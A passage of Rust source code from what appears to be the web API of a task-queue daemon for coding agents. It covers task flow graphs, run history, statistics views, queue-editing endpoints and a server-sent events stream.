6455 n.decided = true;
6456 let from = n.key.clone();
6457 nodes.push(n);
6458 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6459 let more = o.findings.len().saturating_sub(shown.len());
6460 let label = match (shown.is_empty(), more) {
6461 (true, _) => "open findings".to_owned(),
6462 (false, 0) => format!("open findings {}", shown.join(", ")),
6463 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6464 };
6465 edges.push(FlowEdge {
6466 from,
6467 to: "start".to_owned(),
6468 label,
6469 attempt: AttemptCost::None,
6470 });
6471 }
6472 let mut start = node("start", "start", "Task queued".to_owned());
6473 start.started_at = Some(task.created_at);
6474 nodes.push(start);
6475 let mut prev = "start".to_owned();
6476 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6477 for (i, h) in history.iter().enumerate() {
6478 let key = format!("run-{}", h.n);
6479 let mut n = node(&key, "run", format!("Run {}", h.short));
6480 n.started_at = h
6483 .readable
6484 .then(|| {
6485 h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6486 h.created_at
6487 } else {
6488 None
6489 })
6490 })
6491 .flatten();
6492 n.run_kind = Some(h.kind);
6493 n.readable = h.readable;
6494 n.href = Some(format!("#/runs/{}", h.id));
6495 n.decided = h.readable && !h.provisional;
6496 n.detail = h
6497 .branch
6498 .as_ref()
6499 .map(|b| format!("review-only run of branch {b}"));
6500 match h.exit {
6501 RunExit::Unreadable => n.note = Some("unreadable"),
6502 RunExit::Interrupted => n.note = Some("interrupted"),
6503 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6506 _ => {
6507 n.status = h.status;
6508 n.badge = h.badge.clone();
6509 if h.provisional {
6510 n.note = Some("no verdict");
6511 }
6512 }
6513 }
6514 let into = match h.kind {
6515 "review" => Some(format!(
6516 "review-only run of branch {}",
6517 h.branch.as_deref().unwrap_or("?")
6518 )),
6519 "resume" => Some("resume the same run".to_owned()),
6520 _ if i > 0 => Some("retry".to_owned()),
6521 _ => None,
6522 };
6523 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6524 let label = match (prev_exit, into) {
6525 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6526 (Some((_, l, _)), None) => l,
6527 (None, Some(i)) => i,
6528 (None, None) => "claimed".to_owned(),
6529 };
6530 edges.push(FlowEdge {
6531 from: prev.clone(),
6532 to: key.clone(),
6533 label,
6534 attempt,
6535 });
6536 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6537 prev = key;
6538 nodes.push(n);
6539 }
6540 let mut end = node("end", "end", task.status.as_str().to_owned());
6541 end.status = Some(task.status.as_str());
6542 end.status_of = "task";
6543 if task.status == TaskStatus::Held {
6546 end.started_at = task.held_at;
6547 }
6548 nodes.push(end);
6549 let (label, attempt) = match prev_exit {
6550 None => (
6551 format!("no run yet \u{2192} {}", task.status.as_str()),
6552 AttemptCost::None,
6553 ),
6554 Some((e, l, cost)) if e.explains(task.status) => {
6555 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6556 }
6557 Some((_, _, cost)) => (
6558 format!("closed by hand: task is {}", task.status.as_str()),
6559 cost,
6560 ),
6561 };
6562 edges.push(FlowEdge {
6563 from: prev,
6564 to: "end".to_owned(),
6565 label,
6566 attempt,
6567 });
6568 FlowView {
6569 nodes,
6570 edges,
6571 attempts: task.attempts,
6572 max_attempts,
6573 passes: history.len(),
6574 runs: distinct_runs(&task.runs),
6575 }
6576}
6577
6578fn distinct_runs(runs: &[String]) -> usize {
6580 let mut seen: Vec<&str> = Vec::new();
6581 for r in runs {
6582 if !seen.contains(&r.as_str()) {
6583 seen.push(r);
6584 }
6585 }
6586 seen.len()
6587}
6588
6589fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6591 let mut slots = Vec::new();
6592 let mut seen = Vec::new();
6593 for run_id in &task.runs {
6594 if seen.contains(&run_id) {
6595 continue;
6596 }
6597 seen.push(run_id);
6598 let state = read(run_id);
6599 let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6600 s.passes
6601 .iter()
6602 .filter(|p| {
6603 p.task_entry
6604 || task
6605 .passes
6606 .iter()
6607 .any(|t| t.run == *run_id && t.pass_index == p.index)
6608 })
6609 .cloned()
6610 .collect()
6611 });
6612 let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6613 let total = legacy_count.max(mine.len());
6614 let offset = total - mine.len();
6615 for k in 0..total {
6616 let position = task
6619 .runs
6620 .iter()
6621 .enumerate()
6622 .filter(|(_, r)| *r == run_id)
6623 .nth(k.min(legacy_count - 1))
6624 .unwrap()
6625 .0;
6626 slots.push((
6627 run_id,
6628 state.clone(),
6629 k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6630 position,
6631 ));
6632 }
6633 }
6634 if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6635 slots.sort_by_key(|(_, state, pass, _)| {
6636 pass.as_ref()
6637 .map(|p| p.started_at)
6638 .or_else(|| state.as_ref().map(|s| s.created_at))
6639 .map_or((true, task.created_at), |at| (false, at))
6640 });
6641 } else {
6642 slots.sort_by_key(|(_, _, _, position)| *position);
6643 }
6644 let mut history = Vec::with_capacity(slots.len());
6645 let mut seen: Vec<&str> = Vec::new();
6646 let mut prior: Option<(&str, RunStatus)> = None;
6647 for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6648 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6649 let resumed = k > 0;
6650 seen.push(run_id);
6651 let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6652 let pass = pass.as_ref();
6653 let settled = pass.and_then(|p| {
6654 task.passes
6655 .iter()
6656 .find(|t| t.run == **run_id && t.pass_index == p.index)
6657 });
6658 history.push(task_run_view(
6659 run_id,
6660 state.as_ref(),
6661 RunSlot {
6662 n: i + 1,
6663 resumed,
6664 resumed_later: slots[i + 1..]
6665 .iter()
6666 .position(|(id, _, _, _)| id == run_id)
6667 .map(|off| i + off + 2),
6668 prior,
6669 last: i + 1 == slots.len(),
6670 pass,
6671 settled,
6672 pass_n: k + 1,
6673 passes_of_run: total,
6674 },
6675 task,
6676 ));
6677 if let Some(s) = &state {
6678 prior = Some((run::short_of(run_id), s.status));
6679 }
6680 }
6681 history
6682}
6683
6684fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6687 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6688 return;
6689 }
6690 let (_, claimed, _) = run_row_inputs(ui);
6691 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6692 for h in history
6693 .iter_mut()
6694 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6695 {
6696 let Ok(state) = read_run(&ui.runs, &h.id) else {
6697 continue;
6698 };
6699 if state.status.done() {
6700 continue;
6701 }
6702 let live = state.liveness_with(
6703 claimed.contains(&h.id),
6704 |p| probe.borrow_mut().status(p),
6705 |p| probe.borrow_mut().started_at(p),
6706 );
6707 let waiting = !ui.questions.open_for(&h.id).is_empty();
6708 let display = run_display_status(&state, waiting, live);
6709 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6710 if matches!(word.as_str(), "stale" | "superseded")
6711 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6712 {
6713 h.badge = Some(word);
6714 }
6715 }
6716}
6717
6718async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6719 blocking(move || {
6720 let id = resolve_task(&ui.queue, &id)?;
6721 Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6722 })
6723 .await
6724}
6725
6726async fn task_detail(
6727 State(ui): State<Arc<Ui>>,
6728 Path(id): Path<String>,
6729) -> ApiResult<Json<TaskDetailView>> {
6730 blocking(move || {
6731 let id = resolve_task(&ui.queue, &id)?;
6732 let task = ui
6733 .queue
6734 .get(&id)
6735 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6736 let inv = if task.status == TaskStatus::Blocked {
6737 Some(crate::blockers::Inventory::load_for(
6738 &ui.queue,
6739 &ui.questions,
6740 &task,
6741 ))
6742 } else {
6743 None
6744 };
6745 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6746 mark_badges(&ui, &task, &mut history);
6747 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6748 let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6749 let origin = task.followup.as_ref().map(|fu| {
6750 followup_origin(
6751 fu,
6752 |tid| ui.queue.get(tid).ok(),
6753 |rid| read_run(&ui.runs, rid).ok(),
6754 )
6755 });
6756 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6757 let task_view = match inv.as_ref() {
6758 Some(inv) => TaskView::with_inventory(task, inv),
6759 None => TaskView::from(task),
6760 };
6761 Ok(Json(TaskDetailView {
6762 max_attempts,
6763 flow,
6764 followup_origin: origin,
6765 passes_total: history.len(),
6766 runs_distinct: distinct_runs(&task_view.task.runs),
6767 history,
6768 runs_unreadable,
6769 attempts_note: ATTEMPTS_NOTE,
6770 task: task_view,
6771 }))
6772 })
6773 .await
6774}
6775
6776#[derive(Debug, Serialize)]
6780struct RateView {
6781 pct: f64,
6782 denominator: usize,
6783}
6784
6785impl RateView {
6786 fn of(numerator: usize, denominator: usize) -> Option<Self> {
6787 (denominator > 0).then(|| Self {
6788 pct: 100.0 * numerator as f64 / denominator as f64,
6789 denominator,
6790 })
6791 }
6792}
6793
6794#[derive(Debug, Serialize)]
6799struct StatsTotalsView {
6800 runs: usize,
6801 merged: usize,
6802 ready: usize,
6803 blocked: usize,
6804 failed: usize,
6805 stalled: usize,
6806 verified_noop: usize,
6807 superseded: usize,
6808 in_progress: usize,
6809 completion_rate: Option<RateView>,
6810 tallied: usize,
6811 split: usize,
6812 split_rate: Option<RateView>,
6813 deliberated: usize,
6814 minds_changed: usize,
6815 converged: usize,
6816 review_rounds: usize,
6817}
6818
6819impl From<&stats::Totals> for StatsTotalsView {
6820 fn from(t: &stats::Totals) -> Self {
6821 Self {
6822 runs: t.runs,
6823 merged: t.merged,
6824 ready: t.ready,
6825 blocked: t.blocked,
6826 failed: t.failed,
6827 stalled: t.stalled,
6828 verified_noop: t.verified_noop,
6829 superseded: t.superseded,
6830 in_progress: t.in_progress,
6831 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6832 tallied: t.tallied,
6833 split: t.split,
6834 split_rate: RateView::of(t.split, t.tallied),
6835 deliberated: t.deliberated,
6836 minds_changed: t.minds_changed,
6837 converged: t.converged,
6838 review_rounds: t.review_rounds,
6839 }
6840 }
6841}
6842
6843#[derive(Debug, Serialize)]
6845struct AgentStatsView {
6846 agent: String,
6847 entered: usize,
6848 wins: usize,
6849 empty: usize,
6850 win_rate: Option<RateView>,
6851 competitive_entered: usize,
6852 competitive_wins: usize,
6853 competitive_win_rate: Option<RateView>,
6854 solo_entered: usize,
6855 solo_adopted: usize,
6856 solo_adoption_rate: Option<RateView>,
6857}
6858
6859impl From<&stats::AgentStats> for AgentStatsView {
6860 fn from(a: &stats::AgentStats) -> Self {
6861 Self {
6862 agent: a.agent.clone(),
6863 entered: a.entered,
6864 wins: a.wins,
6865 empty: a.empty,
6866 win_rate: RateView::of(a.wins, a.entered),
6867 competitive_entered: a.competitive_entered,
6868 competitive_wins: a.competitive_wins,
6869 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6870 solo_entered: a.solo_entered,
6871 solo_adopted: a.solo_adopted,
6872 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6873 }
6874 }
6875}
6876
6877#[derive(Debug, Serialize)]
6881struct ReviewerStatsView {
6882 agent: String,
6883 rounds: usize,
6884 seated: usize,
6885 submitted: usize,
6886 adopted: usize,
6887 unique: usize,
6888 timeouts: usize,
6889 adopted_per_round: Option<f64>,
6890 precision: Option<RateView>,
6891 unique_rate: Option<RateView>,
6892 timeout_rate: Option<RateView>,
6893}
6894
6895impl From<&stats::ReviewerStats> for ReviewerStatsView {
6896 fn from(r: &stats::ReviewerStats) -> Self {
6897 Self {
6898 agent: r.agent.clone(),
6899 rounds: r.rounds,
6900 seated: r.seated,
6901 submitted: r.submitted,
6902 adopted: r.adopted,
6903 unique: r.unique,
6904 timeouts: r.timeouts,
6905 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6906 precision: RateView::of(r.adopted, r.submitted),
6907 unique_rate: RateView::of(r.unique, r.submitted),
6908 timeout_rate: RateView::of(r.timeouts, r.seated),
6909 }
6910 }
6911}
6912
6913#[derive(Debug, Serialize)]
6919struct AdvisorStatsView {
6920 agent: String,
6921 seated: usize,
6922 proposed: usize,
6923 absent: usize,
6924 faint: usize,
6925 strong: usize,
6926 reflection_rate: Option<RateView>,
6927}
6928
6929impl From<&stats::AdvisorStats> for AdvisorStatsView {
6930 fn from(a: &stats::AdvisorStats) -> Self {
6931 Self {
6932 agent: a.agent.clone(),
6933 seated: a.seated,
6934 proposed: a.proposed,
6935 absent: a.absent,
6936 faint: a.faint,
6937 strong: a.strong,
6938 reflection_rate: RateView::of(a.strong, a.proposed),
6939 }
6940 }
6941}
6942
6943#[derive(Debug, Serialize)]
6945struct E2eStatsView {
6946 rounds: usize,
6947 failures: usize,
6948 sole_detections: usize,
6949 deferred: usize,
6950 sole_rate: Option<RateView>,
6951}
6952
6953impl From<&stats::E2eStats> for E2eStatsView {
6954 fn from(e: &stats::E2eStats) -> Self {
6955 Self {
6956 rounds: e.rounds,
6957 failures: e.failures,
6958 sole_detections: e.sole_detections,
6959 deferred: e.deferred,
6960 sole_rate: RateView::of(e.sole_detections, e.failures),
6961 }
6962 }
6963}
6964
6965#[derive(Debug, Serialize)]
6973struct ReleaseBumpStatsView {
6974 merged: usize,
6975 recorded: usize,
6976 pr_opened: usize,
6977 automerge_enabled: usize,
6978 merged_directly: usize,
6979 needs_attention: usize,
6980 clean: usize,
6981 coverage_rate: Option<RateView>,
6982 automerge_rate: Option<RateView>,
6983 attention_rate: Option<RateView>,
6984}
6985
6986impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
6987 fn from(b: &stats::ReleaseBumpStats) -> Self {
6988 Self {
6989 merged: b.merged,
6990 recorded: b.recorded,
6991 pr_opened: b.pr_opened,
6992 automerge_enabled: b.automerge_enabled,
6993 merged_directly: b.merged_directly,
6994 needs_attention: b.needs_attention,
6995 clean: b.clean(),
6996 coverage_rate: RateView::of(b.recorded, b.merged),
6997 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
6998 attention_rate: RateView::of(b.needs_attention, b.recorded),
6999 }
7000 }
7001}
7002
7003#[derive(Debug, Serialize)]
7005struct TaskCountsView {
7006 queued: usize,
7007 running: usize,
7008 done: usize,
7009 failed: usize,
7010 held: usize,
7011 blocked: usize,
7012 parked: usize,
7013}
7014
7015impl From<crate::queue::TaskCounts> for TaskCountsView {
7016 fn from(c: crate::queue::TaskCounts) -> Self {
7017 Self {
7018 queued: c.queued,
7019 running: c.running,
7020 done: c.done,
7021 failed: c.failed,
7022 held: c.held,
7023 blocked: c.blocked,
7024 parked: c.parked,
7025 }
7026 }
7027}
7028
7029#[derive(Debug, Serialize)]
7035struct RepoSummaryView {
7036 repo: String,
7039 name: String,
7041 runs: usize,
7042 completion_rate: Option<RateView>,
7043}
7044
7045impl From<&stats::RepoStats> for RepoSummaryView {
7046 fn from(r: &stats::RepoStats) -> Self {
7047 let t = &r.stats.totals;
7048 Self {
7049 repo: r.repo.to_string_lossy().into_owned(),
7050 name: r.name.clone(),
7051 runs: t.runs,
7052 completion_rate: RateView::of(t.merged + t.ready, t.runs),
7053 }
7054 }
7055}
7056
7057#[derive(Debug, Serialize)]
7063struct StatsView {
7064 totals: StatsTotalsView,
7065 agents: Vec<AgentStatsView>,
7067 reviewers: Vec<ReviewerStatsView>,
7069 advisors: Vec<AdvisorStatsView>,
7071 e2e: E2eStatsView,
7072 release_bumps: ReleaseBumpStatsView,
7073 queue: Option<TaskCountsView>,
7074 runs_unreadable: usize,
7084 repos: Vec<RepoSummaryView>,
7088 daily: Vec<DailyStatsView>,
7093 repo: Option<String>,
7097 retired_hidden: Vec<String>,
7101}
7102
7103#[derive(Debug, Serialize)]
7105struct DailyStatsView {
7106 date: String,
7108 runs: usize,
7109 merged: usize,
7110 ready: usize,
7111 other: usize,
7112 completion_rate: Option<RateView>,
7114}
7115
7116impl From<&stats::DayBucket> for DailyStatsView {
7117 fn from(b: &stats::DayBucket) -> Self {
7118 Self {
7119 date: b.date.to_string(),
7120 runs: b.runs,
7121 merged: b.merged,
7122 ready: b.ready,
7123 other: b.other,
7124 completion_rate: RateView::of(b.merged + b.ready, b.runs),
7125 }
7126 }
7127}
7128
7129const STATS_DAILY_DAYS: usize = 30;
7131
7132#[derive(Debug, Default, Deserialize)]
7141#[serde(default)]
7142struct StatsQuery {
7143 repo: Option<String>,
7144 all: bool,
7146 runs_only: bool,
7148}
7149
7150async fn stats_get(
7157 State(ui): State<Arc<Ui>>,
7158 Query(q): Query<StatsQuery>,
7159) -> ApiResult<Json<StatsView>> {
7160 blocking(move || {
7161 let states: Vec<RunState> = run_ids(&ui.runs)
7162 .into_iter()
7163 .filter_map(|id| read_run(&ui.runs, &id).ok())
7164 .collect();
7165 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7166 .iter()
7167 .map(RepoSummaryView::from)
7168 .collect();
7169 let mut scoped: Vec<&RunState> = states.iter().collect();
7170 let mut collected = match &q.repo {
7171 Some(repo) => {
7172 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7173 if filtered.is_empty() {
7174 return Err(ApiError::not_found(format!(
7175 "no runs recorded against repo `{repo}`"
7176 )));
7177 }
7178 scoped = filtered.clone();
7179 stats::collect_refs(filtered)
7180 }
7181 None => stats::collect(&states),
7182 };
7183 if !q.all {
7184 let repo = q
7185 .repo
7186 .as_deref()
7187 .map_or_else(|| ui.repo.clone(), PathBuf::from);
7188 stats::retain_current_roster(&mut collected, &repo);
7189 }
7190 let daily = stats::daily(
7191 scoped,
7192 jiff::Zoned::now().date(),
7193 &jiff::tz::TimeZone::system(),
7194 STATS_DAILY_DAYS,
7195 );
7196 let queue_counts = (!q.runs_only)
7197 .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7198 Ok(Json(StatsView {
7199 totals: StatsTotalsView::from(&collected.totals),
7200 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7201 reviewers: collected
7202 .reviewers
7203 .iter()
7204 .map(ReviewerStatsView::from)
7205 .collect(),
7206 advisors: collected
7207 .advisors
7208 .iter()
7209 .map(AdvisorStatsView::from)
7210 .collect(),
7211 e2e: E2eStatsView::from(&collected.e2e),
7212 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7213 queue: queue_counts,
7214 runs_unreadable: runs_unreadable(&ui.runs),
7215 repos,
7216 daily: daily.iter().map(DailyStatsView::from).collect(),
7217 repo: q.repo.clone(),
7218 retired_hidden: collected.retired_hidden.clone(),
7219 }))
7220 })
7221 .await
7222}
7223
7224#[derive(Debug, Default, Deserialize)]
7227#[serde(default, deny_unknown_fields)]
7228struct HoldBody {
7229 reason: Option<String>,
7230}
7231
7232async fn queue_hold(
7233 State(ui): State<Arc<Ui>>,
7234 Path(id): Path<String>,
7235 body: std::result::Result<Json<HoldBody>, JsonRejection>,
7236) -> ApiResult<Json<TaskView>> {
7237 let body = match body {
7241 Ok(Json(body)) => body,
7242 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7243 Err(e) => return Err(ApiError::bad_request(e.body_text())),
7244 };
7245 let reason = body.reason.filter(|r| !r.trim().is_empty());
7246 mutate(ui, id, move |t| {
7247 t.hold_manual(reason.clone());
7248 Ok(())
7249 })
7250 .await
7251}
7252
7253async fn queue_release(
7254 State(ui): State<Arc<Ui>>,
7255 Path(id): Path<String>,
7256) -> ApiResult<Json<TaskView>> {
7257 mutate(ui, id, |t| {
7258 t.release_operator("web", None);
7259 Ok(())
7260 })
7261 .await
7262}
7263
7264#[derive(Debug, Deserialize)]
7265#[serde(deny_unknown_fields)]
7266struct AttemptLimitBody {
7267 attempt_limit: serde_json::Value,
7269}
7270
7271async fn queue_attempt_limit(
7272 State(ui): State<Arc<Ui>>,
7273 Path(id): Path<String>,
7274 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7275) -> ApiResult<Json<TaskView>> {
7276 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7277 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7278 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7279 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7280}
7281
7282#[derive(Debug, Deserialize)]
7283#[serde(deny_unknown_fields)]
7284struct ImplementersBody {
7285 implementers: u8,
7286}
7287
7288async fn queue_implementers(
7289 State(ui): State<Arc<Ui>>,
7290 Path(id): Path<String>,
7291 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7292) -> ApiResult<Json<TaskView>> {
7293 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7294 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7295}
7296
7297#[derive(Debug, Deserialize)]
7298#[serde(deny_unknown_fields)]
7299struct UrgentBody {
7300 urgent: bool,
7301}
7302
7303async fn queue_urgent(
7304 State(ui): State<Arc<Ui>>,
7305 Path(id): Path<String>,
7306 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7307) -> ApiResult<Json<TaskView>> {
7308 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7309 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7310}
7311
7312#[derive(Debug, Deserialize)]
7314#[serde(deny_unknown_fields)]
7315struct PriorityBody {
7316 priority: i32,
7317}
7318
7319async fn queue_priority(
7325 State(ui): State<Arc<Ui>>,
7326 Path(id): Path<String>,
7327 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7328) -> ApiResult<Json<TaskView>> {
7329 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7330 mutate(ui, id, move |t| t.set_priority(body.priority)).await
7331}
7332
7333#[derive(Debug, Deserialize)]
7335#[serde(deny_unknown_fields)]
7336struct EditBody {
7337 title: String,
7338 instruction: String,
7339 #[serde(default)]
7342 force: bool,
7343}
7344
7345async fn queue_edit(
7349 State(ui): State<Arc<Ui>>,
7350 Path(id): Path<String>,
7351 body: std::result::Result<Json<EditBody>, JsonRejection>,
7352) -> ApiResult<Json<TaskView>> {
7353 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7354 let mut judged: Option<(String, PathBuf)> = None;
7358 if !body.force {
7359 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7360 let (id, text) = (id.clone(), body.instruction.clone());
7361 let (seen, hits) = blocking(move || {
7362 let id = resolve_task(&queue, &id)?;
7363 let t = queue.get(&id)?;
7364 if text == t.instruction {
7365 return Ok((None, Vec::new()));
7366 }
7367 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7368 Ok((Some((t.instruction, t.repo)), hits))
7369 })
7370 .await?;
7371 if let Some((_, repo)) = &seen {
7372 let cfg = crate::config::Config::discover(repo, None)
7373 .ok()
7374 .map(|(c, _)| c);
7375 let screened =
7376 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7377 .await
7378 .map_err(|dup| {
7379 ApiError::conflict(dup.render(
7380 "Nothing was saved. If it is not a duplicate, repeat the request \
7381 with \"force\": true.",
7382 ))
7383 })?;
7384 if let crate::dupes::Screened::Unjudged(why) = screened {
7385 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7386 }
7387 }
7388 judged = seen;
7389 }
7390 let force = body.force;
7391 mutate(ui, id, move |t| {
7392 if !force && body.instruction != t.instruction {
7393 match &judged {
7394 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7395 _ => {
7396 anyhow::bail!("the task changed while it was being checked; repeat the request")
7397 }
7398 }
7399 }
7400 t.edit(body.title.clone(), body.instruction.clone())
7401 })
7402 .await
7403}
7404
7405async fn queue_done(
7413 State(ui): State<Arc<Ui>>,
7414 Path(id): Path<String>,
7415) -> ApiResult<Json<TaskView>> {
7416 let home = ui.home.clone();
7417 mutate(ui, id, move |t| {
7418 t.succeed();
7419 crate::daemon::supersede_prior_runs(t, &home);
7427 Ok(())
7428 })
7429 .await
7430}
7431
7432async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7440 blocking(move || {
7441 let id = resolve_task(&ui.queue, &id)?;
7442 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7443 ui.queue
7444 .remove(&id, in_flight, &ui.questions)
7445 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7446 Ok(StatusCode::NO_CONTENT)
7447 })
7448 .await
7449}
7450
7451async fn mutate(
7460 ui: Arc<Ui>,
7461 id: String,
7462 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7463) -> ApiResult<Json<TaskView>> {
7464 blocking(move || {
7465 let id = resolve_task(&ui.queue, &id)?;
7466 let _claim = ui.queue.claim(&id).map_err(|e| {
7471 ApiError::conflict(format!(
7472 "{e:#} - a daemon is running this task, so it cannot be \
7473 changed from here yet; wait until it is released, then retry"
7474 ))
7475 })?;
7476 let mut task = ui.queue.get(&id)?;
7477 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7478 Ok(dup) => ApiError::conflict(dup.render(
7479 "Nothing was saved. If it is not a duplicate, repeat the request with \
7480 \"force\": true.",
7481 )),
7482 Err(e) => ApiError::bad_request_from(e),
7483 })?;
7484 ui.queue.put(&mut task)?;
7485 Ok(Json(TaskView::from(task)))
7486 })
7487 .await
7488}
7489
7490async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7495 ui.monitor.ensure_worker(&ui);
7496 let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7497 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7498
7499 let state = Arc::clone(&ui);
7500 tokio::spawn(async move {
7501 let initial_revisions = {
7502 let guard = match state.monitor.latest.lock() {
7503 Ok(g) => g,
7504 Err(p) => p.into_inner(),
7505 };
7506 guard.as_ref().map(|(r, _)| *r)
7507 };
7508 if let Some(revisions) = initial_revisions {
7509 let initial_payload = serde_json::json!({
7510 "queue_rev": revisions.0,
7511 "runs_rev": revisions.1,
7512 "questions_rev": revisions.2,
7513 "talks_rev": revisions.3,
7514 "notifications_rev": revisions.4,
7515 "loop_rev": revisions.5,
7516 });
7517
7518 if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7519 if tx.send(event).await.is_err() {
7520 return;
7521 }
7522 }
7523 }
7524
7525 loop {
7526 match tokio::select! {
7527 _ = tx.closed() => return,
7528 value = broadcast_rx.recv() => value,
7529 } {
7530 Ok(notif) => {
7531 let Ok(event) = Event::default().event("change").json_data(notif.payload)
7532 else {
7533 break;
7534 };
7535 if tx.send(event).await.is_err() {
7536 break;
7537 }
7538 }
7539 Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7540 let revs = {
7541 let guard = match state.monitor.latest.lock() {
7542 Ok(g) => g,
7543 Err(p) => p.into_inner(),
7544 };
7545 guard.as_ref().map(|(r, _)| *r)
7546 };
7547 if let Some(revs) = revs {
7548 let payload = serde_json::json!({
7549 "queue_rev": revs.0,
7550 "runs_rev": revs.1,
7551 "questions_rev": revs.2,
7552 "talks_rev": revs.3,
7553 "notifications_rev": revs.4,
7554 "loop_rev": revs.5,
7555 });
7556 if let Ok(event) = Event::default().event("change").json_data(payload) {
7557 if tx.send(event).await.is_err() {
7558 break;
7559 }
7560 }
7561 }
7562 }
7563 Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7564 break;
7565 }
7566 }
7567 }
7568 });
7569
7570 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7571 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7572}
7573
7574fn run_ids(runs: &FsPath) -> Vec<String> {
7580 let mut ids: Vec<String> = std::fs::read_dir(runs)
7581 .into_iter()
7582 .flatten()
7583 .flatten()
7584 .filter(|e| e.path().join("run.json").is_file())
7585 .map(|e| e.file_name().to_string_lossy().into_owned())
7586 .collect();
7587 ids.sort_unstable_by(|a, b| b.cmp(a));
7589 ids
7590}
7591
7592fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7594 let path = runs.join(id).join("run.json");
7595 let body =
7596 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7597 let state: RunState =
7598 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7599 run::migrate_schema(state)
7604}
7605
7606#[must_use]
7614pub fn runs_unreadable(runs: &FsPath) -> usize {
7615 run_ids(runs)
7616 .into_iter()
7617 .filter(|id| read_run(runs, id).is_err())
7618 .count()
7619}
7620
7621fn plain_record_id(id: &str) -> bool {
7622 !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7623}
7624
7625fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7627 if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7628 return Ok(id.to_owned());
7629 }
7630 pick(run_ids(runs), id, "run")
7631}
7632
7633fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7635 if plain_record_id(id) && queue.path_of(id).is_file() {
7636 return Ok(id.to_owned());
7637 }
